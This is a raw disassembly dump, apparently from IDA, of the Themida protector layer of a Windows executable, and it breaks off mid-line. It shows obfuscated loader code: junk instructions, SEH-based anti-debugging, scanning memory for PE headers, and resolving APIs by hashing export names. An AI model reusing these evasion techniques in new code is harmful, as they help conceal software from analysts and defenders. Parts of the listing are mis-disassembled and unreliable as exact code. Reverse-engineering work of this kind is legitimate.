dd 0DE8h, 6 dup(0) dd 12FFA4h, 0 dd 2E5Ch, 13h dup(0) dd 12FFA4h, 77DDEBE7h, 52F5FEA7h, 6 dup(0) dd offset byte_612D59 align 8 dd 1B7B01C8h, 5 dup(0) dd 1, 63DB14C8h, 0 dd 2591D5DFh, 1, 7C812A09h, 3 dup(0) dd 0BB0B3Ch, 0FEEAE4D7h, 6 dup(0) dd 223FFB0h, 0FF44F4C4h, 2 dup(0) dd offset loc_5F425D dd 0 dd offset byte_612D59 dd 5 dup(0) dd 7C3190C8h, 3 dup(0) dd 5BE8h, 0 dd 0F874248Ah, 0B1AAA1h, 2 dup(0) dd 623F9AC4h, 0 dd 0D24h, 0FFFFAC6Bh, 2 dup(0) dd 0F82EFCh, 2 dup(0) db 90h db 17h, 0F2h, 76h dd offset byte_612D59 dd 3 dup(0) dd 0FFA4A030h, 2700000h, 2 dup(0) dd offset dword_5CBE30 dd 0 dd 0B1180Fh, 3 dup(0) dd offset byte_5C173F dd 5 dup(0) dd 0FFA20882h, 0 dd 2, 5 dup(0) dd 0B48B0Dh, 3 dup(0) dd 0B61C1Ch, 0 dd 0B1180Fh, 0 dd 1320132h, 0 dd offset loc_5BFAD6 dd 0Ah dup(0) dd 12FF54h, 2 dup(0) dd 0E8h, 0D532h, 0Eh dup(0) dd offset loc_5C7B2B align 10h dd 8A31177h, 4 dup(0) dd 12FFA4h, 5F1E22h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 7C90EB94h, 81h dup(0) dd 62674F91h, 5FC39Bh, 6 dup(0) dd 7C904664h, 5EC8h, 2 dup(0) dd 32597F5Dh, 2 dup(0) dd offset loc_600001+3 dd 1, 0 dd 0C246DA44h, 0B48B0Dh, 0 dd 3028D8Dh, 3 dup(0) dd 9D6047F9h, 3 dup(0) dd offset loc_5F4CB3 dd 0Ah dup(0) dd 3D94h, 2 dup(0) dd 89B58247h, 2 dup(0) dd 86555974h, 0 dd offset loc_5C2404+3 dd 9 dup(0) dd 836F11E8h, 9 dup(0) dd 1D517BFh, 0 dd 7D1h, 2 dup(0) dd offset byte_5C53C9 dd 5 dup(0) dd offset dword_582534+4 align 10h dd 0FFFFFFFFh, 0Ch dup(0) dd 81A5A47Dh, 4 dup(0) dd 2D59h, 3 dup(0) dd 7C90FB71h, 0FFA07E09h, 0Dh dup(0) dd offset byte_5BF907 dd 10h dup(0) dd 2D59h, 2 dup(0) dd 0B3B738h, 0 dd 0C4h, 0 dd 7ED3FFB4h, 2 dup(0) dd 86BFCE08h, 0 dd 2D59h, 4 dup(0) ; --------------------------------------------------------------------------- jmp short near ptr byte_5850F3 ; --------------------------------------------------------------------------- dw 0FF44h dd 3 dup(0) dd 0B10000h, 0A8D287h, 5 dup(0) dd 3D57h, 2638h, 0 dd offset dword_5D9534 dd 2 dup(0) db 3 dup(0) byte_5850F3 db 0 ; CODE XREF: Themida_:005850ACj align 8 dd 245F0E99h, 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h dd 815B0000h, 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF00B1FAh dd 24448BE0h, 0E0FF04h, 16h dup(0) dd offset loc_5F1F49 dd 6 dup(0) dd 0C246DA44h, 400000h, 5 dup(0) dd offset byte_60351B align 8 dd offset loc_5BFAD6 dd 2 dup(0) dd 2540000h, 0 dd 0C49CBEEEh, 0 dd offset byte_5F2635 dd 0 dd 0B73F5Ch, 0Bh dup(0) dd 76B44E5Bh, 7C801A24h, 7C90DDF9h, 0 dd 5C28h, 0 dd 0A9C530DFh, 6 dup(0) dd 7C803518h, 0 dd 7F1A94E3h, 9 dup(0) dd 0FFFFFAD6h, 0 dd offset byte_5DAF8D dd 77DDEE5Ah, 912B661Ch, 28h dup(0) dd 0FBh, 4 dup(0) dd 32597F5Dh, 2 dup(0) dd 74736552h, 41747261h, 652E7070h, 6578h, 5FA4F2h, 0 dd 4C170C15h, 24h dup(0) dd 6813h, 0 dd 7C90EB94h, 3 dup(0) dd 11111111h, 0 dd 7C90EE18h, 0 dd 0BD850FBDh, 280h, 6 dup(0) dd 1F3FFB0h, 4 dup(0) dd offset loc_5BFAD6 dd 7 dup(0) dd 21212121h, 5C6ECCh, 5BCB8Dh, 0BA6607E9h, 7C8034F0h dd 4 dup(0) dd offset byte_5BF907 dd 12FFE0h, 3 dup(0) dd 25D6DF4h, 7 dup(0) ; --------------------------------------------------------------------------- wait retn ; --------------------------------------------------------------------------- dw 5Fh dd 0B11920h, 582538h, 3 dup(0) dd 0B19417h, 5 dup(0) dd 7D0Dh, 0B527848Ah, 0Fh dup(0) dd offset sub_60AEF3 aThemida db 'Themida',0 dd 20h dup(0) dd 8A7F6F08h, 9 dup(0) dd 9C7C1FAh, 0 dd offset byte_5C0979 align 10h dd 0FFA3E2B0h, 9 dup(0) dd 0B1B508h, 5F48EDh, 40EF921h, 0FF4EE7F1h, 0 dd 0B1180Fh, 0FE3AE841h, 0 dd offset dword_583210 dd 279D95B7h, 2 dup(0) dd 205A8474h, 2 dup(0) dd offset loc_5B4B69 dd 0 dd 0FF4EE7F1h, 3 dup(0) dd 0B69178h, 5 dup(0) dd offset dword_5B5FD0 dd 7 dup(0) dd 0FFA3FFDDh, 0Bh dup(0) dd 2D59h, 9 dup(0) dd offset sub_60AEF3 dd 5 dup(0) dd 0FFA1487Bh, 11h dup(0) dd offset loc_60C639 dd 0FFFF94A4h, 5 dup(0) dd 26E0000h, 0 dd 0BB0B3Ch, 2 dup(0) dd 1A38h, 0 dd 0FFA3FFDDh, 1C32DF67h, 3D94h, 4 dup(0) dd 1, 2 dup(0) dd offset dword_5C0B3C dd 0 dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 7Dh dup(0) ; --------------------------------------------------------------------------- mov ah, [esp+esi*2] clc retf 60C4h ; --------------------------------------------------------------------------- align 10h dd 2 dup(0) dd 0FFFF98EAh, 0 dd 0B119F0h, 6 dup(0) dd 170DEF19h ; --------------------------------------------------------------------------- loc_585A20: ; CODE XREF: Themida_:loc_58248Bj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 7E4359Fh mov [ebp+7E40649h], edx mov [ebp+7E40F11h], esi mov [ebp+7E41271h], eax cmp dword ptr [ebp+7E40E65h], 0 jz short loc_585A58 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_585A58: ; CODE XREF: Themida_:00585A4Aj mov eax, [esp+24h] mov [ebp+7E41551h], eax push 45h call sub_585B0C push 783749Ah call sub_585B52 push 0A894B25h call sub_585B52 jmp loc_585C96 ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_585B0C proc near ; CODE XREF: Themida_:00585A64p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 7E4368Dh mov ebx, edx mov [ebp+var_28], 0 loc_585B28: ; CODE XREF: sub_585B0C+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_585B47 mov eax, [ebp+arg_0] mov [ebx+7E435F7h], eax inc [ebp+arg_0] inc ebx jmp short loc_585B28 ; --------------------------------------------------------------------------- loc_585B47: ; CODE XREF: sub_585B0C+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_585B0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_585B52 proc near ; CODE XREF: Themida_:00585A6Ep ; Themida_:00585A78p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 7E436D6h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_585B78: ; CODE XREF: sub_585B52+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_585B78 mov [ebp+var_84], 0 lea edi, [edx+7E435F7h] lea esi, [ebp+var_80] loc_585BA8: ; CODE XREF: sub_585B52+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_585BB4: ; CODE XREF: sub_585B52+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_585BB4 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_585BA8 popa leave retn 4 sub_585B52 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_585BF2 ; --------------------------------------------------------------------------- loc_585BEE: ; CODE XREF: Themida_:00585BF5j inc dword ptr [ebp-4] inc esi loc_585BF2: ; CODE XREF: Themida_:00585BECj cmp byte ptr [esi], 0 jnz short loc_585BEE mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_585C83 ; --------------------------------------------------------------------------- loc_585C04: ; CODE XREF: Themida_:00585C86j mov dword ptr [ebp-8], 0 jmp short loc_585C7A ; --------------------------------------------------------------------------- loc_585C0D: ; CODE XREF: Themida_:00585C7Ej mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_585C67 ; --------------------------------------------------------------------------- loc_585C1D: ; CODE XREF: Themida_:00585C6Bj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_585C3F cmp bl, 39h ja short loc_585C3F sub bl, 30h jmp short loc_585C61 ; --------------------------------------------------------------------------- loc_585C3F: ; CODE XREF: Themida_:00585C33j ; Themida_:00585C38j cmp bl, 61h jb short loc_585C51 cmp bl, 66h ja short loc_585C51 sub bl, 61h add bl, 0Ah jmp short loc_585C61 ; --------------------------------------------------------------------------- loc_585C51: ; CODE XREF: Themida_:00585C42j ; Themida_:00585C47j cmp bl, 41h jb short loc_585C61 cmp bl, 46h ja short loc_585C61 sub bl, 41h add bl, 0Ah loc_585C61: ; CODE XREF: Themida_:00585C3Dj ; Themida_:00585C4Fj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_585C67: ; CODE XREF: Themida_:00585C1Bj cmp dword ptr [ebp-0Ch], 2 jb short loc_585C1D cmp dword ptr [ebp-10h], 0 jbe short loc_585C77 mov eax, [ebp-10h] stosb loc_585C77: ; CODE XREF: Themida_:00585C71j inc dword ptr [ebp-8] loc_585C7A: ; CODE XREF: Themida_:00585C0Bj cmp dword ptr [ebp-8], 2 jb short loc_585C0D add edx, 4 loc_585C83: ; CODE XREF: Themida_:00585C02j cmp edx, [ebp-4] jb loc_585C04 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- loc_585C96: ; CODE XREF: Themida_:00585A7Dj mov ecx, 7000h lea edi, [ebp+7E4381Ch] loc_585CA1: ; CODE XREF: Themida_:00585CA5j dec byte ptr [edi] inc edi dec ecx jnz short loc_585CA1 mov eax, 48692121h mov edx, 0F0115000h sub edx, 0F0000000h lea eax, [ebp+7E4390Eh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push edx call sub_585CDD and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585CDD proc near ; CODE XREF: Themida_:00585CD5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_585CDD endp ; --------------------------------------------------------------------------- jnb short loc_585D45 mov bx, 6AD2h pop ebx jo loc_585CFB stc loc_585CFB: ; CODE XREF: Themida_:00585CF4j stc stc sub eax, edx xor bx, 1B63h and eax, 0FFFFF000h movzx ebx, di mov ecx, edx xor edi, edi loc_585D10: ; CODE XREF: Themida_:00585D2Bj cmp word ptr [eax], 5A4Dh jnz short loc_585D25 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_585D2D loc_585D25: ; CODE XREF: Themida_:00585D15j sub eax, 1000h inc edi jmp short loc_585D10 ; --------------------------------------------------------------------------- loc_585D2D: ; CODE XREF: Themida_:00585D23j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+7E43921h] push edx push large dword ptr fs:0 loc_585D45: ; CODE XREF: Themida_:00585CEDj mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_585D67 mov esi, [eax+1Ch] loc_585D67: ; CODE XREF: Themida_:00585D62j xor eax, eax loc_585D69: ; CODE XREF: Themida_:00585D7Cj cmp eax, 32h jz short loc_585D8D cmp word ptr [esi], 5A4Dh jz short loc_585D7E loc_585D75: ; CODE XREF: Themida_:00585D8Bj sub esi, 10000h inc eax jmp short loc_585D69 ; --------------------------------------------------------------------------- loc_585D7E: ; CODE XREF: Themida_:00585D73j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_585DCF jmp short loc_585D75 ; --------------------------------------------------------------------------- loc_585D8D: ; CODE XREF: Themida_:00585D6Cj pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 7E4392Ch lea eax, [ebp+7E438EAh] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_585DCF: ; CODE XREF: Themida_:00585D89j xchg eax, esi pop large dword ptr fs:0 add esp, 4 call sub_585DEA or [ebx-966348Dh], eax mov ds:436C7ECAh, al ; =============== S U B R O U T I N E ======================================= sub_585DEA proc near ; CODE XREF: Themida_:00585DDAp sub bh, 0E8h pop ebx mov bh, 0FEh mov cx, ds push edx mov ebx, 70019D0Bh pop ebx and cl, 4 push 0 push eax call sub_585E08 and [eax-3Dh], bl sub_585DEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_585E08 proc near ; CODE XREF: sub_585DEA+16p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_585E08 endp ; --------------------------------------------------------------------------- sub ch, 0DDh retn 6492h ; --------------------------------------------------------------------------- stosb jmp loc_585E30 ; --------------------------------------------------------------------------- pop es mov eax, ds:5D4B0675h dec edi mov ebx, 79B14D43h loc_585E30: ; CODE XREF: Themida_:00585E1Fj or cl, cl jnz loc_585EB1 pusha jmp loc_585E52 ; --------------------------------------------------------------------------- dw 2D30h dd 7A183783h, 2E0315FBh, 15CF39A9h, 81DA85EFh db 1Eh, 0F6h ; --------------------------------------------------------------------------- loc_585E52: ; CODE XREF: Themida_:00585E39j mov al, dh popa mov bx, 3822h mov dword ptr [ebp+7E42015h], 1 push 0 push ecx call sub_585E6E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585E6E proc near ; CODE XREF: Themida_:00585E66p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_585E6E endp ; --------------------------------------------------------------------------- dw 83BDh dd 7CB40D07h, 0E93BA3AEh, 13h, 0F17EE9E2h, 0C62AECADh dd 0B6A56C88h, 444926FFh, 66DEAF17h, 0BF0FDF8Bh, 14E9D8h dd 81660000h, 8B157CCBh db 0DFh ; --------------------------------------------------------------------------- loc_585EB1: ; CODE XREF: Themida_:00585E32j mov dword ptr [ebp+7E42015h], 0 movzx ebx, dx mov [ebp+7E4019Dh], eax push 0 push ebx call sub_585ECF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585ECF proc near ; CODE XREF: Themida_:00585EC7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_585ECF endp ; --------------------------------------------------------------------------- db 0Ch dd 66832669h, 0EE9DCh, 0F9EF0000h, 96A80AFh, 9948D15Fh dd 5778ADC5h, 75DB8166h, 41858912h, 0E807E421h, 6, 631233Ah dd 8B6698CFh, 8C0F5FC1h, 2, 0C78195B0h, 75BBh, 0F512BEF8h dd 0EE813B77h, 3B77D7C8h, 38DAD281h, 1F8B0551h, 2800F60h dd 8A000000h, 0C38161C5h, 1FE5114Ch, 7E9h, 0C5D59300h dd 0A8DDE311h, 895F381h, 0D38B4DA3h, 0E73FEB81h, 0B8662AE7h dd 0B953710Eh, 635E71BEh, 0B866078Fh, 0EF8368BDh, 4F7EB402h dd 0D38B664Fh, 0D850F4Eh, 0E9000000h, 1Bh, 0EB316Eh, 4341A007h dd 49E98166h, 0FF9CE961h, 990EFFFFh, 0F6A69413h, 0E8F4ED61h dd 6, 0FF06E11Fh, 0BE66B8F6h, 815A31A2h, 62CAC2h, 14E900h dd 0D13A0000h, 817A1EDDh, 5974B0BEh, 3488FE70h, 0C55664FEh dd 688094h, 0F000000h, 6659F0B7h, 34FFC78Bh, 8A0F5B11h dd 2, 0C381F28Bh, 109C3FAh, 0C6E08152h, 5F176482h, 25C2F381h dd 0BF0F6DD9h, 0D9F381F7h, 661A86E6h, 89A7B0BEh, 6FB80A1Ch dd 0F412DE0h, 287h, 83FA8B00h, 0B70F01E9h, 494949F0h, 0F981F88Bh dd 0FFFF9DDCh, 0B850Fh, 1BE90000h, 0BC000000h, 0F875DBDDh dd 3870F81h, 66000000h, 93E9FA8Bh, 0FFFFFFFh, 0B9D9BD2Eh dd 4EB7148h, 21Bh, 6E3E9h, 0E0816000h, 3919B8BBh, 24ADBD09h db 0E4h, 7, 61h ; =============== S U B R O U T I N E ======================================= sub_586067 proc far ; DATA XREF: Themida_:005842C4o var_24 = dword ptr -24h var_4 = dword ptr -4 arg_FFFFFFFC = dword ptr 4 arg_0 = dword ptr 8 pusha pusha jg loc_586075 js $+6 loc_586075: ; CODE XREF: sub_586067+2j popa sub eax, eax mov [ebp+7E41E19h], ebx mov edx, [esp+20h+arg_0] stc mov [ebp+7E412D1h], eax mov [ebp+7E41CC5h], ecx mov esi, 3Ch pusha jmp loc_5860A1 ; --------------------------------------------------------------------------- push edx fld qword ptr [ecx+5AA3BFh] loc_5860A1: ; CODE XREF: sub_586067+2Ej or bl, 8Bh popa add esi, [esp+20h+arg_FFFFFFFC] mov [ebp+7E42B3Dh], eax lodsw mov [ebp+7E41C71h], esi add eax, [esp+20h+arg_FFFFFFFC] mov [ebp+7E4043Dh], ecx jmp loc_5860D9 ; --------------------------------------------------------------------------- dw 815h ; --------------------------------------------------------------------------- retn 764Fh ; --------------------------------------------------------------------------- db 0BAh dd 0CD444F80h, 91B50B4Dh, 4C1612BDh db 67h ; --------------------------------------------------------------------------- loc_5860D9: ; CODE XREF: sub_586067+5Aj push eax jz loc_5860F9 jmp loc_5860F9 ; --------------------------------------------------------------------------- db 0A0h, 39h, 40h dd 571085ADh, 7E4FDA13h, 0F6CFC41Fh, 1B49D7C8h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_5860F9: ; CODE XREF: sub_586067+73j ; sub_586067+79j mov [esp+24h+var_24], eax mov [ebp+7E42D19h], edx clc mov eax, [eax+78h] pusha sub ebx, 128BE50Eh popa add eax, [esp+24h+arg_FFFFFFFC] mov [ebp+7E42D1Dh], edi mov eax, [eax+18h] stc inc eax cmc mov [ebp+7E43BC5h], eax mov [ebp+7E41BADh], esi pop eax jge loc_586132 stc loc_586132: ; CODE XREF: sub_586067+C4j mov esi, [eax+78h] xor [ebp+7E42511h], esi sub [ebp+7E414F1h], eax add esi, 1Ch jmp loc_586154 ; --------------------------------------------------------------------------- db 0C8h, 67h, 0D2h dd 89617AFEh, 0CBC6FF96h ; --------------------------------------------------------------------------- loc_586154: ; CODE XREF: sub_586067+DDj add esi, [esp+20h+arg_FFFFFFFC] jmp loc_586162 ; --------------------------------------------------------------------------- push ebx retf 0B785h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_586162: ; CODE XREF: sub_586067+F1j lea edi, [ebp+7E4090Dh] jbe loc_58616F clc loc_58616F: ; CODE XREF: sub_586067+101j jz loc_586188 pusha or ecx, [ebp+7E426F9h] jmp loc_586187 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 8510h db 85h, 0F8h, 31h ; --------------------------------------------------------------------------- loc_586187: ; CODE XREF: sub_586067+115j popa loc_586188: ; CODE XREF: sub_586067:loc_58616Fj lodsd mov [ebp+7E423B5h], ecx add eax, [esp+20h+arg_FFFFFFFC] pusha mov si, 0D04h mov ecx, [ebp+7E42C4Dh] popa mov [ebp+7E42A05h], edx stosd pusha mov ebx, 6B878890h jmp loc_5861BC ; --------------------------------------------------------------------------- db 4Bh, 0EDh, 6 dd 0EC2EFC73h, 7F36129Dh ; --------------------------------------------------------------------------- loc_5861BC: ; CODE XREF: sub_586067+145j popa lea edi, [ebp+7E4220Dh] jnp loc_5861CF or [ebp+7E407ADh], esi loc_5861CF: ; CODE XREF: sub_586067+15Cj lodsd pusha mov edx, [ebp+7E42761h] pusha mov ecx, [ebp+7E406ADh] jmp loc_5861F3 ; --------------------------------------------------------------------------- sub byte ptr [ecx], 14h mov edx, 8CA7AA96h leave add eax, edx dec eax push eax sti or ecx, ebx loc_5861F3: ; CODE XREF: sub_586067+177j popa popa mov [ebp+7E41A2Dh], ecx add eax, [esp+20h+arg_FFFFFFFC] jmp loc_586212 ; --------------------------------------------------------------------------- dd 3AE6EBBFh, 0F3355722h, 9666EDABh db 8Eh, 89h ; --------------------------------------------------------------------------- loc_586212: ; CODE XREF: sub_586067+198j push eax pusha mov dh, 0ECh mov eax, 6ABFA251h popa mov [esp+24h+var_24], eax xor [ebp+7E40235h], eax stosd jmp loc_586235 ; --------------------------------------------------------------------------- db 42h dd 7F4104BCh, 93FF09CAh db 0F0h ; --------------------------------------------------------------------------- loc_586235: ; CODE XREF: sub_586067+1BFj lea edi, [ebp+7E41AF9h] jle loc_586242 cld loc_586242: ; CODE XREF: sub_586067+1D4j lodsd sub [ebp+7E42641h], edx add eax, [esp+24h+arg_FFFFFFFC] jo loc_586259 sub [ebp+7E42005h], edi loc_586259: ; CODE XREF: sub_586067+1E6j stosd clc jmp loc_586267 ; --------------------------------------------------------------------------- dd 0A0006EC0h db 40h, 0CAh, 94h ; --------------------------------------------------------------------------- loc_586267: ; CODE XREF: sub_586067+1F4j pop esi jnz loc_586274 xor [ebp+7E40DB9h], ecx loc_586274: ; CODE XREF: sub_586067+201j mov [ebp+7E42DC5h], esi loc_58627A: ; CODE XREF: sub_586067+29Fj dec dword ptr [ebp+7E43BC5h] cmp dword ptr [ebp+7E43BC5h], 0 jnz short loc_586299 mov [esp+20h+var_4], 0 lea esi, [ebp+7E44041h] jmp esi ; --------------------------------------------------------------------------- loc_586299: ; CODE XREF: sub_586067+220j push esi lodsd add eax, [esp+24h+arg_FFFFFFFC] xchg eax, edi mov ebx, edi mov al, [ebp+7E42C2Dh] test al, al jz short loc_5862B0 cmp al, [edi] jnz short loc_5862FC loc_5862B0: ; CODE XREF: sub_586067+243j push edi xor al, al loc_5862B3: ; CODE XREF: sub_586067+24Dj scasb jnz short loc_5862B3 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_5862C0: ; CODE XREF: sub_586067+282j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_5862CF: ; CODE XREF: sub_586067+27Bj shr bx, 1 rcr ax, 1 jnb short loc_5862E0 xor ax, 5041h xor bx, 5449h loc_5862E0: ; CODE XREF: sub_586067+26Ej dec dh jnz short loc_5862CF xor ecx, eax xor edx, ebx dec edi jnz short loc_5862C0 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_58630B loc_5862FC: ; CODE XREF: sub_586067+247j pop esi add esi, 4 inc dword ptr [ebp+7E412D1h] jmp loc_58627A ; --------------------------------------------------------------------------- loc_58630B: ; CODE XREF: sub_586067+293j pop esi jmp loc_586320 ; --------------------------------------------------------------------------- db 17h, 85h, 72h dd 46E32429h, 0A80216A0h, 0C5B98C77h ; --------------------------------------------------------------------------- loc_586320: ; CODE XREF: sub_586067+2A5j mov [ebp+7E4063Dh], ebx mov eax, [ebp+7E412D1h] mov [ebp+7E42A5Dh], ebx shl eax, 1 mov [ebp+7E43331h], ebx add eax, [ebp+7E41AF9h] cmc clc sub esi, esi pusha push ebx mov [ebp+7E40A99h], edx pop ecx and ecx, 79757602h popa xchg eax, esi mov [ebp+7E43031h], eax lodsw or [ebp+7E4166Dh], eax shl eax, 2 or [ebp+7E42B05h], edx jmp loc_58637C ; --------------------------------------------------------------------------- mov [ecx+esi*4-36h], cl sub edx, [esi+ebx*8+1DA46258h] loc_58637C: ; CODE XREF: sub_586067+305j add eax, [ebp+7E4090Dh] jg loc_58639C jmp loc_58639C ; --------------------------------------------------------------------------- db 2Fh, 1Ah, 5Dh dd 3CB2D88h, 987063C4h, 0C84E4C4Fh ; --------------------------------------------------------------------------- loc_58639C: ; CODE XREF: sub_586067+31Bj ; sub_586067+321j xchg eax, esi pusha and edi, 4D8B11B6h mov [ebp+7E41F21h], esi popa lodsd jmp loc_5863B6 ; --------------------------------------------------------------------------- or al, 0D6h or al, 0BCh scasb loc_5863B6: ; CODE XREF: sub_586067+345j mov ecx, [esp+20h+arg_FFFFFFFC] or [ebp+7E4156Dh], ebx add eax, [esp+20h+arg_FFFFFFFC] sub [ebp+7E40DADh], edx mov [esp+20h+var_4], eax js loc_5863D5 stc loc_5863D5: ; CODE XREF: sub_586067+367j jnb loc_5863E1 mov [ebp+7E42365h], edx loc_5863E1: ; CODE XREF: sub_586067:loc_5863D5j xchg eax, esi mov [ebp+7E4165Dh], eax stc lodsb pusha jle loc_5863F6 sbb ax, 0B717h loc_5863F6: ; CODE XREF: sub_586067+384j popa xor cl, cl pusha jle loc_586402 push ebx pop ecx loc_586402: ; CODE XREF: sub_586067+393j popa inc cl jnp loc_586424 jz loc_586424 jmp loc_586424 ; --------------------------------------------------------------------------- dw 0EAE7h ; --------------------------------------------------------------------------- xor eax, 0D03E208h pop eax sub eax, [edx+7CF68B79h] loc_586424: ; CODE XREF: sub_586067+39Ej ; sub_586067+3A4j ... rcl al, 1 jnb loc_5864CC cld rcl al, 1 jnb loc_5864CC cmc pusha add [ebp+7E41B21h], esi sub [ebp+7E408A1h], eax popa rcl al, 1 jb loc_5864CC sub [ebp+7E42309h], edx rcl al, 1 jb loc_5864CC or [ebp+7E40E4Dh], edx cld dec cl jns loc_586424 pusha stc popa add esp, 20h mov [ebp+7E41429h], eax mov dword ptr [esp-4], 0 pusha add [ebp+7E40299h], edi sub [ebp+7E40EFDh], ebx popa mov eax, 1 jmp loc_58649B ; --------------------------------------------------------------------------- db 39h, 0D7h, 80h db 82h, 0B0h, 68h ; --------------------------------------------------------------------------- loc_58649B: ; CODE XREF: sub_586067+429j jmp loc_5864B2 ; --------------------------------------------------------------------------- xor eax, 81403D91h add al, 74h cmp eax, 21B46085h pop edx imul ch retn ; --------------------------------------------------------------------------- db 0CCh db 2Ch ; --------------------------------------------------------------------------- loc_5864B2: ; CODE XREF: sub_586067:loc_58649Bj lea ecx, [ebp+7E472B7h] sub [ebp+7E42025h], esi jmp ecx ; --------------------------------------------------------------------------- jmp loc_5864CC ; --------------------------------------------------------------------------- db 0A2h, 2Eh, 7Ah dd 13495F31h ; --------------------------------------------------------------------------- loc_5864CC: ; CODE XREF: sub_586067+3BFj ; sub_586067+3C8j ... mov byte ptr [ebp+7E42C2Dh], 0 cld popa pusha mov esi, [ebp+7E41D6Dh] sub ecx, 4AD2EB02h popa retn 8 sub_586067 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9D89h dd 7E41979h dword_5864EC dd 50525050h, 0F616052h, 0BE931h, 5B220000h, 1E08F1F3h ; DATA XREF: Themida_:00584838o dd 7C58283Fh, 0F585A92h, 0EE931h, 0B0330000h, 0B7D08BD3h dd 0CC3FE22Ch, 8C353668h, 3489585Ah, 1E860F24h, 0F000000h dd 188Ah, 13E900h, 0CC50000h, 0F64CD755h, 4128CEBFh, 0A4B94DBBh dd 410C9122h, 8AB58937h, 0E907E442h, 0Ah, 32BAF8E8h, 0CA64B211h dd 8D898360h, 7E44295h, 6840Fh, 0BD010000h, 7E41945h, 410BB58Dh dd 8DFC07E4h, 5B8EA185h, 0D0FFFC00h, 0B5B58960h, 6007E41Ah dd 6161C8B6h, 0EDBD095Eh, 0C307E418h, 243DB589h, 0B58B07E4h dd 7E4428Ah, 0F858589h, 8D8B07E4h, 7E44295h, 68A0Fh, 0B5090000h dd 7E42B69h, 0B8h, 168A0F00h, 0F000000h, 108Fh, 0BE900h dd 4200000h, 8D1E66E5h, 0CC306876h, 0E9D98B8Bh, 8, 29E5735h dd 2BC81AE0h, 0ECE9h, 6800F00h, 89000000h, 